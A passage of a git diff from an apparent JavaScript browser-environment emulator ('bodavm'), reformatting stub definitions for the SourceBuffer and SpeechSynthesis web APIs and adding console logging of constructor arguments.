bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdateend", { + configurable: true, + enumerable: true, + get: function onupdateend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdateend_get", arguments); + }, + set: function onupdateend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdateend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "appendBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function appendBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "changeType", { + configurable: true, + enumerable: true, + writable: true, + value: function changeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "changeType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "remove", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SourceBufferList.js b/env_xbb_lastest_jsdom/env/SourceBufferList.js index 5757e6f6..b03a2c42 100644 --- a/env_xbb_lastest_jsdom/env/SourceBufferList.js +++ b/env_xbb_lastest_jsdom/env/SourceBufferList.js @@ -1,8 +1,47 @@ -// SourceBufferList对象 -bodavm.memory.globalobj['SourceBufferList'] = function SourceBufferList(){if (!(this instanceof SourceBufferList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SourceBufferList'], "SourceBufferList"); -bodavm.memory.globalobj['SourceBufferList'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['SourceBufferList'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('SourceBufferList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBufferList', "onaddsourcebuffer", {configurable:true, enumerable:true, get:function onaddsourcebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onaddsourcebuffer_get", arguments)}, set:function onaddsourcebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onaddsourcebuffer_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBufferList', "onremovesourcebuffer", {configurable:true, enumerable:true, get:function onremovesourcebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onremovesourcebuffer_get", arguments)}, set:function onremovesourcebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onremovesourcebuffer_set", arguments)}},'prototype'); +// SourceBufferList对象 + +bodavm.memory.globalobj['SourceBufferList'] = function SourceBufferList() { + console.log_copy('SourceBufferList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SourceBufferList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SourceBufferList'], "SourceBufferList"); +bodavm.memory.globalobj['SourceBufferList'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['SourceBufferList'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('SourceBufferList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBufferList', "onaddsourcebuffer", { + configurable: true, + enumerable: true, + get: function onaddsourcebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onaddsourcebuffer_get", arguments); + }, + set: function onaddsourcebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onaddsourcebuffer_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBufferList', "onremovesourcebuffer", { + configurable: true, + enumerable: true, + get: function onremovesourcebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onremovesourcebuffer_get", arguments); + }, + set: function onremovesourcebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onremovesourcebuffer_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SpeechSynthesis.js b/env_xbb_lastest_jsdom/env/SpeechSynthesis.js index af155b4b..75b1220b 100644 --- a/env_xbb_lastest_jsdom/env/SpeechSynthesis.js +++ b/env_xbb_lastest_jsdom/env/SpeechSynthesis.js @@ -1,22 +1,93 @@ -bodavm.memory.globalobj['SpeechSynthesis'] = function SpeechSynthesis() {this._boisinit=bodavm.config.isinit; return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") } +bodavm.memory.globalobj['SpeechSynthesis'] = function SpeechSynthesis() { + console.log_copy('SpeechSynthesis 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boisinit = bodavm.config.isinit; + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesis'], "SpeechSynthesis"); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "cancel", { writable: true, enumerable: true, configurable: true, value: function cancel() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "cancel", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "getVoices", { writable: true, enumerable: true, configurable: true, value: function getVoices() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "getVoices", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pause", { writable: true, enumerable: true, configurable: true, value: function pause() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "pause", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "resume", { writable: true, enumerable: true, configurable: true, value: function resume() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "resume", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speak", { writable: true, enumerable: true, configurable: true, value: function speak() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "speak", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "paused", { set: undefined, enumerable: true, configurable: true, get: function paused() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "paused_get ", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pending", { set: undefined, enumerable: true, configurable: true, get: function pending() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "pending_get ", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speaking", { set: undefined, enumerable: true, configurable: true, get: function speaking() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "speaking_get ", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "onvoiceschanged", { configurable: true, enumerable: true, get: function onvoiceschanged() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "onvoiceschanged_get ", arguments) }, set: function onvoiceschanged() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "onvoiceschanged_set", arguments) } },'prototype'); - +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "cancel", { + writable: true, + enumerable: true, + configurable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "cancel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "getVoices", { + writable: true, + enumerable: true, + configurable: true, + value: function getVoices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "getVoices", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pause", { + writable: true, + enumerable: true, + configurable: true, + value: function pause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "pause", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "resume", { + writable: true, + enumerable: true, + configurable: true, + value: function resume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "resume", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speak", { + writable: true, + enumerable: true, + configurable: true, + value: function speak() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "speak", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "paused", { + set: undefined, + enumerable: true, + configurable: true, + get: function paused() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "paused_get ", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pending", { + set: undefined, + enumerable: true, + configurable: true, + get: function pending() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "pending_get ", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speaking", { + set: undefined, + enumerable: true, + configurable: true, + get: function speaking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "speaking_get ", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "onvoiceschanged", { + configurable: true, + enumerable: true, + get: function onvoiceschanged() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "onvoiceschanged_get ", arguments); + }, + set: function onvoiceschanged() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "onvoiceschanged_set", arguments); + } +}, 'prototype'); // speechSynthesis对象 -bodavm.memory.globalobj[ 'speechSynthesis'] = { - _boisinit:bodavm.config.isinit - -} -bodavm.memory.globalobj[ 'speechSynthesis'].__proto__=bodavm.memory.globalobj['SpeechSynthesis'] .prototype; -delete SpeechSynthesis - - +bodavm.memory.globalobj['speechSynthesis'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['speechSynthesis'].__proto__ = bodavm.memory.globalobj['SpeechSynthesis'].prototype; +delete SpeechSynthesis; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SpeechSynthesisErrorEvent.js b/env_xbb_lastest_jsdom/env/SpeechSynthesisErrorEvent.js index 041f39e0..1c5b7f3e 100644 --- a/env_xbb_lastest_jsdom/env/SpeechSynthesisErrorEvent.js +++ b/env_xbb_lastest_jsdom/env/SpeechSynthesisErrorEvent.js @@ -1,6 +1,27 @@ -// SpeechSynthesisErrorEvent对象 -bodavm.memory.globalobj['SpeechSynthesisErrorEvent'] = function SpeechSynthesisErrorEvent(){if (!(this instanceof SpeechSynthesisErrorEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechSynthesisErrorEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesisErrorEvent'], "SpeechSynthesisErrorEvent"); -bodavm.memory.globalobj['SpeechSynthesisErrorEvent'].prototype.__proto__=bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype; -bodavm.memory.globalobj['SpeechSynthesisErrorEvent'].__proto__=bodavm.memory.globalobj['SpeechSynthesisEvent']; -bodavm.toolsFunc.defineProperty('SpeechSynthesisErrorEvent', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisErrorEvent'].prototype, "SpeechSynthesisErrorEvent", "error_get", arguments)}, set:undefined},'prototype'); +// SpeechSynthesisErrorEvent对象 + +bodavm.memory.globalobj['SpeechSynthesisErrorEvent'] = function SpeechSynthesisErrorEvent() { + console.log_copy('SpeechSynthesisErrorEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SpeechSynthesisErrorEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechSynthesisErrorEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesisErrorEvent'], "SpeechSynthesisErrorEvent"); +bodavm.memory.globalobj['SpeechSynthesisErrorEvent'].prototype.__proto__ = bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype; +bodavm.memory.globalobj['SpeechSynthesisErrorEvent'].__proto__ = bodavm.memory.globalobj['SpeechSynthesisEvent']; +bodavm.toolsFunc.defineProperty('SpeechSynthesisErrorEvent', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisErrorEvent'].prototype, "SpeechSynthesisErrorEvent", "error_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SpeechSynthesisEvent.js b/env_xbb_lastest_jsdom/env/SpeechSynthesisEvent.js index 44d1de5f..cbfa0f79 100644 --- a/env_xbb_lastest_jsdom/env/SpeechSynthesisEvent.js +++ b/env_xbb_lastest_jsdom/env/SpeechSynthesisEvent.js @@ -1,20 +1,59 @@ // SpeechSynthesisEvent对象 -bodavm.memory.globalobj['SpeechSynthesisEvent'] = function SpeechSynthesisEvent(){if (!(this instanceof SpeechSynthesisEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechSynthesisEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['SpeechSynthesisEvent'] = function SpeechSynthesisEvent() { + console.log_copy('SpeechSynthesisEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SpeechSynthesisEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechSynthesisEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesisEvent'], "SpeechSynthesisEvent"); - -bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; - -bodavm.memory.globalobj['SpeechSynthesisEvent'].__proto__=bodavm.memory.globalobj['Event']; - -bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "utterance", {configurable:true, enumerable:true, get:function utterance (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "utterance_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "charIndex", {configurable:true, enumerable:true, get:function charIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "charIndex_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "charLength", {configurable:true, enumerable:true, get:function charLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "charLength_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "elapsedTime", {configurable:true, enumerable:true, get:function elapsedTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "elapsedTime_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "name_get", arguments)}, set:undefined},'prototype'); - +bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['SpeechSynthesisEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "utterance", { + configurable: true, + enumerable: true, + get: function utterance() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "utterance_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "charIndex", { + configurable: true, + enumerable: true, + get: function charIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "charIndex_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "charLength", { + configurable: true, + enumerable: true, + get: function charLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "charLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "elapsedTime", { + configurable: true, + enumerable: true, + get: function elapsedTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "elapsedTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "name_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SpeechSynthesisUtterance.js b/env_xbb_lastest_jsdom/env/SpeechSynthesisUtterance.js index 017e5f86..e3d89f60 100644 --- a/env_xbb_lastest_jsdom/env/SpeechSynthesisUtterance.js +++ b/env_xbb_lastest_jsdom/env/SpeechSynthesisUtterance.js @@ -1,18 +1,146 @@ -// SpeechSynthesisUtterance对象 -bodavm.memory.globalobj['SpeechSynthesisUtterance'] = function SpeechSynthesisUtterance(){this._boarg= new bodaobj.window.SpeechSynthesisUtterance();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesisUtterance'], "SpeechSynthesisUtterance"); -bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['SpeechSynthesisUtterance'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "lang", {configurable:true, enumerable:true, get:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "lang_get", arguments)}, set:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "lang_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "voice", {configurable:true, enumerable:true, get:function voice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "voice_get", arguments)}, set:function voice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "voice_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "volume", {configurable:true, enumerable:true, get:function volume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "volume_get", arguments)}, set:function volume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "volume_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "rate", {configurable:true, enumerable:true, get:function rate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "rate_get", arguments)}, set:function rate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "rate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "pitch", {configurable:true, enumerable:true, get:function pitch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "pitch_get", arguments)}, set:function pitch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "pitch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onstart", {configurable:true, enumerable:true, get:function onstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onstart_get", arguments)}, set:function onstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onend", {configurable:true, enumerable:true, get:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onend_get", arguments)}, set:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onpause_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onresume", {configurable:true, enumerable:true, get:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onresume_get", arguments)}, set:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onresume_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onmark", {configurable:true, enumerable:true, get:function onmark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onmark_get", arguments)}, set:function onmark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onmark_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onboundary", {configurable:true, enumerable:true, get:function onboundary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onboundary_get", arguments)}, set:function onboundary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onboundary_set", arguments)}},'prototype'); +// SpeechSynthesisUtterance对象 + +bodavm.memory.globalobj['SpeechSynthesisUtterance'] = function SpeechSynthesisUtterance() { + console.log_copy('SpeechSynthesisUtterance 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.SpeechSynthesisUtterance(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesisUtterance'], "SpeechSynthesisUtterance"); +bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['SpeechSynthesisUtterance'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "lang", { + configurable: true, + enumerable: true, + get: function lang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "lang_get", arguments); + }, + set: function lang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "lang_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "voice", { + configurable: true, + enumerable: true, + 